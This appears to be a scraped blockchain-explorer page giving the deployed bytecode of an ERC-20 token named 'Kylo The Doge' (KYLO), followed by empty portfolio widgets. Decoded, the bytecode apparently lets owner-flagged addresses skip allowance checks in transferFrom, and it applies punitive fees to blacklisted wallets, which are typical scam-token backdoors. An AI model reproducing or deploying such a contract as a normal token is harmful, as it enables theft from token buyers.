602083013580151581146112fe575f80fd5b809150509250929050565b5f806040838503121561131a575f80fd5b82356113258161120b565b915060208301356112fe8161120b565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f60208284031215611365575f80fd5b81516109428161120b565b5f805f60608486031215611382575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761089a5761089a61139b565b5f826113e057634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561089a5761089a61139b565b8082018082111561089a5761089a61139b56fea264697066735822122088127b8aa057f937e0167488d60829d26967f38b0fcb623786cd0afae55c88d364736f6c63430008180033
Deployed Bytecode
0x60806040526004361061013f575f3560e01c806348ff2b8b116100b35780638c41180e1161006d5780638c41180e1461039e57806395d89b41146103bd578063a8aa1b31146103e9578063a9059cbb14610408578063dd62ed3e14610427578063f2fde38b1461046b575f80fd5b806348ff2b8b146102df57806370a08231146102fe578063715018a61461033257806378109e54146103465780637d1db4a51461035a578063893d20e81461036e575f80fd5b80631f976b7e116101045780631f976b7e1461021757806323b872dd1461022b5780632f54bf6e1461024a578063313ce5671461027757806334c5d2ce146102925780633f4218e0146102b1575f80fd5b806301339c211461014a578063044019301461016057806306fdde031461017f578063095ea7b3146101c657806318160ddd146101f5575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61048a565b005b34801561016b575f80fd5b5061015e61017a366004611178565b6107a6565b34801561018a575f80fd5b5060408051808201909152600d81526c4b796c6f2054686520446f676560981b60208201525b6040516101bd91906111bf565b60405180910390f35b3480156101d1575f80fd5b506101e56101e0366004611222565b61088a565b60405190151581526020016101bd565b348015610200575f80fd5b506102096108a0565b6040519081526020016101bd565b348015610222575f80fd5b50610209610910565b348015610236575f80fd5b506101e561024536600461124c565b610933565b348015610255575f80fd5b506101e561026436600461128a565b5f546001600160a01b0391821691161490565b348015610282575f80fd5b50604051600981526020016101bd565b34801561029d575f80fd5b5061015e6102ac3660046112a5565b610949565b3480156102bc575f80fd5b506101e56102cb36600461128a565b60076020525f908152604090205460ff1681565b3480156102ea575f80fd5b5061015e6102f93660046112ce565b610a8b565b348015610309575f80fd5b5061020961031836600461128a565b6001600160a01b03165f9081526005602052604090205490565b34801561033d575f80fd5b5061015e610ade565b348015610351575f80fd5b50610209610b12565b348015610365575f80fd5b50610209610b21565b348015610379575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101bd565b3480156103a9575f80fd5b5061015e6103b83660046112ce565b610b30565b3480156103c8575f80fd5b506040805180820190915260048152634b594c4f60e01b60208201526101b0565b3480156103f4575f80fd5b50600a54610386906001600160a01b031681565b348015610413575f80fd5b506101e5610422366004611222565b610b83565b348015610432575f80fd5b50610209610441366004611309565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b348015610476575f80fd5b5061015e61048536600461128a565b610b8f565b5f546001600160a01b031633146104bc5760405162461bcd60e51b81526004016104b390611335565b60405180910390fd5b600a54600160a01b900460ff16156105165760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920456e61626c656400000000000060448201526064016104b3565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600154305f90815260066020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa1580156105a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c59190611355565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610624573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106489190611355565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610692573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b69190611355565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d71947306106fd816001600160a01b03165f9081526005602052604090205490565b5f805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610769573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061078e9190611370565b5050600a805460ff60a01b1916600160a01b17905550565b5f546001600160a01b031633146107cf5760405162461bcd60e51b81526004016104b390611335565b600b879055600c869055600e859055600d849055600f83905560108290556011819055601254610800906005610c0b565b600f5411158015610820575060125461081a906005610c0b565b60105411155b6108815760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016104b3565b50505050505050565b5f610896338484610c16565b5060015b92915050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead5f9081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54600154919261090b9290916109059190610d3a565b90610d3a565b905090565b5f60125460035461091f6108a0565b61092991906113af565b61090b91906113c6565b5f61093f848484610d45565b90505b9392505050565b5f546001600160a01b031633146109725760405162461bcd60e51b81526004016104b390611335565b5f6127108461097f6108a0565b61098991906113af565b61099391906113c6565b90505f612710846109a26108a0565b6109ac91906113af565b6109b691906113c6565b90505f612710846109c56108a0565b6109cf91906113af565b6109d991906113c6565b60028790556003869055600485905590505f610a0a6103e8610a0460056109fe6108a0565b90610d5b565b90610c0b565b9050808410158015610a1c5750808310155b8015610a285750808210155b6108815760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016104b3565b5f546001600160a01b03163314610ab45760405162461bcd60e51b81526004016104b390611335565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610b075760405162461bcd60e51b81526004016104b390611335565b610b105f610b8f565b565b5f60125460045461091f6108a0565b5f60125460025461091f6108a0565b5f546001600160a01b03163314610b595760405162461bcd60e51b81526004016104b390611335565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b5f610896338484610d66565b5f546001600160a01b03163314610bb85760405162461bcd60e51b81526004016104b390611335565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b5f61094282846113c6565b6001600160a01b038316610c785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b3565b6001600160a01b038216610cd95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b3565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f61094282846113e5565b5f610d51848484610db5565b61093f8483610e87565b5f61094282846113af565b5f610d718484610f10565b610d7b5781610d86565b610d86848484610f54565b9050610da26064610a0460105484610d5b90919063ffffffff16565b9050610daf848484610db5565b50505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260059091529190912054610e0691839061103e565b6001600160a01b038085165f908152600560205260408082209390935590841681522054610e349082611069565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d2d9085815260200190565b325f908152600760209081526040808320546015805461ff00191661010060ff9384161515810291909117918290556001600160a01b03881686526006855283862033875290945291842054610ee4939092869291900416611074565b6001600160a01b0384165f90815260066020908152604080832033845290915290205550600192915050565b6001600160a01b0382165f9081526007602052604081205460ff161580156109425750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f80610f6085856110d9565b1115611037575f610f82610f7486866110d9565b6012546109fe908690610c0b565b305f90815260056020526040902054909150610f9e9082611069565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fee9085815260200190565b60405180910390a3600e5415611025576110253061dead611020600e546109fe60125489610c0b90919063ffffffff16565b610d66565b61102f8382610d3a565b915050610942565b5092915050565b5f81848411156110615760405162461bcd60e51b81526004016104b391906111bf565b505050900390565b5f61094282846113f8565b5f8115611082575082610942565b838311156110d25760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016104b3565b5050900390565b6001600160a01b0382165f9081526008602052604081205460ff168061111657506001600160a01b0382165f9081526008602052604090205460ff165b1561113057601254611129906064610d3a565b905061089a565b600a546001600160a01b039081169083160361114f575060105461089a565b600a546001600160a01b039081169084160361116e5750600f5461089a565b5060115492915050565b5f805f805f805f60e0888a03121561118e575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f602080835283518060208501525f5b818110156111eb578581018301518582016040015282016111cf565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461121f575f80fd5b50565b5f8060408385031215611233575f80fd5b823561123e8161120b565b946020939093013593505050565b5f805f6060848603121561125e575f80fd5b83356112698161120b565b925060208401356112798161120b565b929592945050506040919091013590565b5f6020828403121561129a575f80fd5b81356109428161120b565b5f805f606084860312156112b7575f80fd5b505081359360208301359350604090920135919050565b5f80604083850312156112df575f80fd5b82356112ea8161120b565b9150602083013580151581146112fe575f80fd5b809150509250929050565b5f806040838503121561131a575f80fd5b82356113258161120b565b915060208301356112fe8161120b565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f60208284031215611365575f80fd5b81516109428161120b565b5f805f60608486031215611382575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761089a5761089a61139b565b5f826113e057634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561089a5761089a61139b565b8082018082111561089a5761089a61139b56fea264697066735822122088127b8aa057f937e0167488d60829d26967f38b0fcb623786cd0afae55c88d364736f6c63430008180033
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 34 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.